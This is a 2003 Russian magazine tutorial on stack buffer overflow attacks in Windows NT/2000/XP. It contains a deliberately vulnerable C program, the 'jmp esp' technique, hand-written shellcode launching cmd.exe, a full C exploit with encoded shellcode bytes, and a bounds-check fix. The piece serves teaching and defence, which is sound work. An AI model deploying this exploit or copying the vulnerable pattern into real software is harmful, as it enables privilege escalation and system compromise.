Переполнение буфера в Windows NT/2000/XP::Журнал СА 8.2003
www.samag.ru
     
Поиск   
              
 www.samag.ru    Web  0 товаров , сумма 0 руб.
E-mail
Пароль  
 Запомнить меня
Регистрация | Забыли пароль?
Журнал "Системный администратор"
Журнал «БИТ»
Наука и технологии
Подписка
Где купить
Авторам
Рекламодателям
Магазин
Архив номеров
Вакансии
Контакты
   

  Опросы

Какие курсы вы бы выбрали для себя?  

Очные
Онлайновые
Платные
Бесплатные
Я и так все знаю

 Читать далее...

1001 и 1 книга  
20.12.2019г.
Просмотров: 4900
Комментарии: 0
Dr.Web: всё под контролем

 Читать далее...

04.12.2019г.
Просмотров: 6152
Комментарии: 0
Особенности сертификаций по этичному хакингу

 Читать далее...

28.05.2019г.
Просмотров: 7390
Комментарии: 2
Анализ вредоносных программ

 Читать далее...

28.05.2019г.
Просмотров: 7734
Комментарии: 1
Микросервисы и контейнеры Docker

 Читать далее...

28.05.2019г.
Просмотров: 6786
Комментарии: 0
Django 2 в примерах

 Читать далее...

Друзья сайта  

Форум системных администраторов  

sysadmins.ru

 Переполнение буфера в Windows NT/2000/XP

Архив номеров / 2003 / Выпуск №8 (9) / Переполнение буфера в Windows NT/2000/XP

Рубрика: Безопасность /  Тестирование

СТАНИСЛАВ ГОШКО

Переполнение буфера в Windows NT/2000/XP

Пусть что угодно говорят поклонники *nix-систем, но защита в последних версиях операционных систем семейства Windows сделала громадный скачок вперёд. И так как языки C и C++ очень распространены и на платформах Windows, то атаки на переполнение буфера стали реальной угрозой безопасности. Атаки такого типа известны уже очень давно, со времен операции «Полуденный бес», которая проводилась в США, начиная с мая 1990 года, и была направлена против хакеров. Её проводила «Секретная Служба». Переполнение буфера, правда, на операционные системы семейства *nix использовалось хакерами по полной программе. Но реальная угроза данных атак на операционные системы семейства Windows появилась гораздо позднее, в 1995-2002 годах.

Смысл атак на переполнение буфера заключается в том, что существуют программы, запущенные с большими привилегиями, чем у пользователя, и благодаря переполнению буфера для пользователя стало возможно получить эти привилегии (уязвимой программы).

Мы рассмотрим одну из самых распространённых атак на переполнение буфера. Это так называемая атака на «срыв стека». В большинстве своём данные атаки возможны во многих программах, написанных на языках программирования C или C++.

Поэтому мы рассмотрим пример уязвимой программы, а также разработаем для неё эксплоит (программу, которая реализует данную уязвимость).

Начнём с разработки простой программы, содержащей данную уязвимость:

#include

#include

void vuln_func(char *stroka)

{

    char buffer[100];

    // буфер

    lstrcpyA(buffer,stroka);

    // функция, в результате вызывающая переполнение буфера

}

void main (int argc, char *argv[])

{

    vuln_func(argv[1]);

    // вызов уязвимой функции

    printf("Parameter is : %s",argv[1]);

}

Откомпилируем её и выясним, что делает эта программа. Если запустить её без параметров, то она выведет следующее:

Parameter is : 0(null)

Запустим её следующим образом:

c:x-filesug.exe aaaaaaa

Тогда данная программа выведет:

Parameter is : aaaaaaa

Но если в качестве параметра передать количество «a» большее, чем 100, то данная программа просто ничего не выведет в отличие от Windows NT, которая выводила сообщение об ошибке. Поэтому реализовать атаку данного типа под операционной системой Windows XP будет несколько сложнее. Теперь давайте возьмём отладчик и посмотрим, что же происходит при вызове нашей уязвимой функции.

Будем рассматривать пошагово:

  • При вызове функции vuln_func в стек заносится адрес следующей инструкции (printf).
  • Рассмотрим вид стека перед вызовом функции lstrcpyA:

адрес возврата

переменная buff

  • Рассмотрим вид стека после вызова функции lstrcpyA:

"aaaaaaaaaaaaaaaaaaaa"

0x61616161

переменная buff

Так как наша переменная росла к адресу возврата, и когда ей стало не хватать места, она молча и без вопросов переписала адрес возврата нашими любимыми буквами «aaaaaaaa...». Раз мы можем переписать адрес возврата, значит, мы можем и заставить нашу программу выполнять наш код.

Для этого вместо букв «a» мы будем использовать символ с кодом 90 («x90»), что означает инструкцию ассемблера nop (задержка процессора на один такт). Также нам необходимо точно определить, какими байтами (по счёту) перезаписывается адрес возврата, чтобы мы знали, куда записывать наш новый адрес возврата.

Обычно это делается методом «грубой силы», а потом по сообщению об ошибке определяются байты, по которым был совершён переход. Но данный метод в нашем случае не уместен, т.к. в Windows XP сообщение об ошибке не вываливается. Поэтому нам придётся вручную при помощи отладчика подсчитывать, какие по счёту nop перетёрли адрес возврата, это несложно и нетрудоёмко, т.к. в стеке все приравнивается к двойному слову (4 байта). В нашем случае это оказались 4 байта, начиная со 104.

Теперь, когда мы знаем, какими байтами перетирается адрес возврата, мы должны подменить его таким образом, чтобы он передал управление нашему коду, а если быть более точным, то он должен передать управление на наши nop. Реально очень удобно просто передать управление в отладчике на наши инструкции, но если это удалённое переполнение буфера или у вас нет под рукой отладчика? При помощи прямой подмены адреса на наш вычисленный адрес стека не получится, потому что адрес стека начинается с нуля, а наш код не должен состоять из нулей.

Поэтому оптимальным вариантом будет обнаружить в памяти используемых программой библиотек или в памяти самой программы обнаружить байты, соответствующие инструкции «jmp esp» - ff e4. В статье Андрея Колищака (1) предлагался вариант использования инструкции «call esp», но с этим вариантом я должен не согласиться, так как при переходе на эту инструкцию с последующим её исполнением мы перетираем байты, находящиеся по адресу esp, т.е. мы сами себе портим жизнь (при переходе на esp нам будет очень сложно запустить наш код). Поэтому оптимальным вариантом будет поиск в памяти байт «ff e4». В результате поиска мы обнаружили данные байты в библиотеке USER32.dll и запомнили адрес (в каждой версии операционной системы он может быть отличным).

Теперь мы должны заняться формированием shell-кода – это будет строка Command Promt. Реально мы должны запустить программу cmd.exe. Чтобы не морочить вам голову «кривыми» аналогами данной программы на C, начнём её писать сразу на ассемблере, но перед этим мы должны кое в чём разобраться.

  • Наш эксплоит будет зависеть от USER32.dll, что означает на других версиях операционной системы Windows XP, по всей видимости, он работать не будет.
  • Исходя из предыдущего пункта, мы видим, что не имеет смысла встраивать в наш shell-код обнаружение адреса ядра и функции GetProcAddress.

Поэтому для экономии места мы в эксплоите жёстко зафиксируем адрес нужной нам функции WinExec.

Аналог того, что будет делать наш эксплоит на С, будет выглядеть примерно так:

#include

void main()

{

    WinExec("cmd.exe",1);

}

Для определения адресов функций, которые необходимы для корректной работы эксплоита, напишем ещё одну маленькую программу.

#include "windows.h"

#include "stdio.h"

main(int argc, char *argv[])

{

    // Данные, необходимые для работы программы

    HMODULE hnd1;

    FARPROC a;

    char  *name1;

    char *modul1; 

    // Вывод сообщения об использовании утилиты

    printf("Usage GETADDR ");

    if (argc < 3)

    {

    // Если запущены без параметров, то выведем адреса

    // KERNEL32 и WIN API функции GetProcAddress

           name1="GetProcAddress";

           modul1="KERNEL32";

    }

    else

    // Если запущены с параметрами, то выведем по запросу

    // пользователя    

    {

         name1=argv[2];

         modul1=argv[1];

    }

    // Получаем адрес модуля

    hnd1=GetModuleHandle(modul1);

    // Получаем адрес WIN API функции

    a=GetProcAddress(hnd1,name1);

    // Выводим оба адреса

    printf("Module=[%s] Address=%xh ",modul1,hnd1);

    printf("Function=[%s] Address=%xh ",name1,a);

    // Выход из программы

    return(0);

}

При помощи данной программы мы должны определить адреса следующих WIN API-функций:

  • WinExec
  • ExitProcess

Данные функции находятся в ядре (kernel32.dll).

Вот теперь мы готовы перейти к разработке shell-кода на ассемблере. Наш shell-код не будет использовать шифрование текстовых строк, так как в нём будет только одна текстовая строка с финальным нулём, так же мы не должны использовать в тексте кода нулей, опять же из-за особенностей стека.

Рассмотрим листинг:

.386                           

.model flat, stdcall                                         

extrn ExitProcess:proc                                                               

.data                         

start:           

;---------------[ SUPA SHELL CODE]------------------------

nach:

           push   1            ; Параметр для вызова WinExec

           mov    esi,esp             ; Устанавливаем esi на стек

try:                           ;

           lodsd               ; Ищем текстовую строку

           cmp    eax,012345678h      ; с именем программы

           jne    try          ;

 

           push   esi          ; Нашли, положим, смещение

                               ; в стек

           mov    eax,77e684c6h ; Кладем в eax адрес функции

           call   eax          ; Вызываем WinExec -> cmd.exe

 

           nop                 ; Эти nop для выравнивания

           nop                 ; на границу двойного слова

 

           xor    eax,eax             ; Обнуляем eax

           push   eax          ; Кладем 0 в стек (параметр)

           mov    eax,77e75cb5h ; Кладем в eax адрес функции

           call   eax          ; Call ExitProcess

name1:

           dd     012345678h   ; "Метка" имени программы

           db     "cmd.exe",0  ; Имя программы

kon:

;---------------------------------------------------------

.code

           nop                 ;           

end start                                 

end 

Теперь, после всех этих изнурительных подготовительных действий, мы готовы написать эксплоит, использующий уязвимость в нашей программе.

Переходим к листингу эксплоита:

#include

#include 

void main (int argc, char *argv[])

{

char *shell1=

"x6ax01x8bxf4xadx3dx78x56x34x12x75xf8x56xb8xc6x84"

"xe6x77xffxd0x90x90x33xc0x50xb8xb5x5cxe7x77xffxd0"

"x78x56x34x12x63x6dx64x2ex65x78x65";

char mass[152];

char buff[160]="BUG.EXE ";

// n0p"s

memset(mass,"x90",104);

// n0p"s + jmp esp

strcat(mass,"x4ax75xd7x77");

// n0p"s + jmp esp + shell_c0de

strcat(mass,shell1);   

//  file_name + n0p"s + jmp esp + shell_c0de

strcat(buff,mass);

WinExec(buff,1);

}

В начале данного эксплоита идёт описание переменных, и в том числе там есть наш shell-код и имя уязвимого файла. Далее мы формируем строку:

  • Кладем туда 104 nop (на самом деле туда можно положить всё что душе угодно, так как управление будет передаваться всё равно за адрес возврата);
  • Затем в эту строку добавляем адрес инструкции «jmp esp»;
  • И только после этого адреса в строку помещаем наш shell-код;
  • В переменную buff к имени файла добавляется наша строка с nop с новым адресом возврата и с shell-кодом.

После того как строка запуска программы передаётся в функцию WinExec, мы получаем нашу долгожданную и любимую консоль.

Реально наша программа была запущена примерно следующим образом:

c:x-filesug.exe PPPPPPPPPPPPPPPP...РР[new_addr][shell_c0de]

Где new_addr – это новый адрес возврата, а shell_c0de – это наш shell-код.

В завершении статьи необходимо сказать, что существует возможность поиска адреса ядра в памяти, но в данном случае это неуместно, так как эксплоит получился зависимым от версии операционной системы. Вот если бы мы необходимую нам как воздух инструкцию (jmp esp) обнаружили в самой программе, то это было бы просто необходимо, и тогда бы наш эксплоит получился независимым от операционной системы.

Существует возможность «сбрасывания» не только локальной консоли, но и удалённой. Shell-код для такого рода backdoor был написан неким dark spyrit и опубликован в журнале «Phrack».

Стоит перечислить несколько уязвимых функций:

  • strcpy
  • strcat

И их аналоги, адаптированные под Windows-системы:

  • lstrcpyA
  • lstrcatA

Атаки данного типа представляют серьёзную угрозу. Для того чтобы от них защититься, всегда необходимо проверять, чтобы размер приёмника был больше того, что в него помещается. Для примера мы исправим нашу уязвимую программу. Так, чтобы она не была подвержена данной атаке.

Перейдём к листингу:

#include

#include

void vuln_func(char *stroka)

{

           char buffer[100];   // буфер

    if (sizeof(buffer)>strlen(stroka))      // !!!!!!!!!!!!!!!!

    // функция в результате вызывающая переполнение буфера

           lstrcpyA(buffer,stroka);  

}

void main (int argc, char *argv[])

{

    vuln_func(argv[1]); // вызов уязвимой функции

    printf("Parameter is : %s",argv[1]);

}

Строка, отмеченная восклицательными знаками, проверяет соответствие размеров строк, что предотвращает возможность переполнения буфера в данной программе.

Таким образом, мы рассмотрели одну из самых распространённых хакерских атак в применении к Windows XP, а также возможности её предотвращения.

При написании статьи использовались материалы:

  1. «Атаки на переполнение стека в Windows NT» – http://hackzone.ru/articles/ntbo.html
  2. «Smashing The Stack For Fun And Profit» by Aleph1 – www.phrack.or

Комментарии отсутствуют

Добавить комментарий

Комментарии могут оставлять только зарегистрированные пользователи

               Copyright © Системный администратор

Яндекс.Метрика
Tel.: (499) 277-12-41
Fax: (499) 277-12-45
E-mail: sa@samag.ru